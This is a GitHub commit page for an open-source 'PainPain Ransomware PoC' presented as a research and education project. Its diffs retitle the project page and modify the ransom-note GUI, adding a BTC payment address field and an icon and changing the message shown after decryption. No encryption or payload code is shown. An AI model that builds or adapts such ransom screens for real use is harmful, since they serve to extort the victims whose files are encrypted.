Skip to content

Commit d9b7884

Browse files
committed
ReadMe Updated
1 parent 16a2af5 commit d9b7884

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

58 files changed

+139
-154
lines changed

README.md

Lines changed: 128 additions & 149 deletions

index.html

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -190,8 +190,8 @@
190190
<main class="flex-shrink-0">
191191
<!-- Hero -->
192192
<header class="hero">
193-
<img src="web/assets/demo.png" alt="Ransomware PoC Demo" class="hero-img">
194-
<h1>Ransomware PoC</h1>
193+
<img src="web/assets/demo.png" alt="Ransomware PoC Demo" class="hero-img" height="400" width="800">
194+
<h1>PainPain Ransomware PoC</h1>
195195
<p class="subtitle">A modern, modular, and secure proof-of-concept for ransomware research and education.</p>
196196
</header>
197197

ransomware/gui/main.py

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -70,10 +70,14 @@ def build_gui(self):
7070

7171
pay_label = tk.Label(self, text="💸 BTC PAYMENT ADDRESS", font=("Courier", 11, "bold"), fg="#ff0000", bg="#000000")
7272
pay_label.pack(pady=(20, 0))
73-
pay_addr = tk.Entry(self, font=("Courier", 12), fg="#000000", bg="#eeeeee", width=50, justify="center")
73+
pay_addr_frame = tk.Frame(self, bg="#000000")
74+
pay_addr_frame.pack(pady=(0, 10))
75+
pay_addr = tk.Entry(pay_addr_frame, font=("Courier", 12), fg="#000000", bg="#eeeeee", width=50, justify="center")
7476
pay_addr.insert(0, self.payment_address)
7577
pay_addr.config(state="readonly")
76-
pay_addr.pack(pady=(0, 10))
78+
pay_addr.pack(side="left")
79+
btc_icon = tk.Label(pay_addr_frame, text="₿", font=("Courier", 18, "bold"), fg="#ff9900", bg="#000000")
80+
btc_icon.pack(side="left", padx=(8, 0))
7781

7882
entry_frame = tk.Frame(self, bg="#000000")
7983
entry_frame.pack(pady=(20, 10), padx=30, fill="x")
@@ -128,7 +132,8 @@ def do_decrypt():
128132
try:
129133
result = subprocess.run(self.decrypt_cmd, capture_output=True, text=True)
130134
if result.returncode == 0:
131-
messagebox.showinfo("Success", "Files decrypted successfully!")
135+
messagebox.showinfo("Success", "PainPain Ransomware activity ended, your files are decrypted.\nThis window will close in 1 second.")
136+
self.after(1000, self.destroy)
132137
else:
133138
messagebox.showerror("Decryption Error", f"Decryption failed.\n\n{result.stderr}")
134139
except Exception as e:

ransomware/gui_main.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -143,6 +143,7 @@ def do_decrypt():
143143
result = subprocess.run(self.decrypt_cmd, capture_output=True, text=True)
144144
if result.returncode == 0:
145145
messagebox.showinfo("Success", "Files decrypted successfully!")
146+
self.after(1000, self.destroy)
146147
else:
147148
messagebox.showerror("Decryption Error", f"Decryption failed.\n\n{result.stderr}")
148149
except Exception as e:

0 commit comments

Comments
 (0)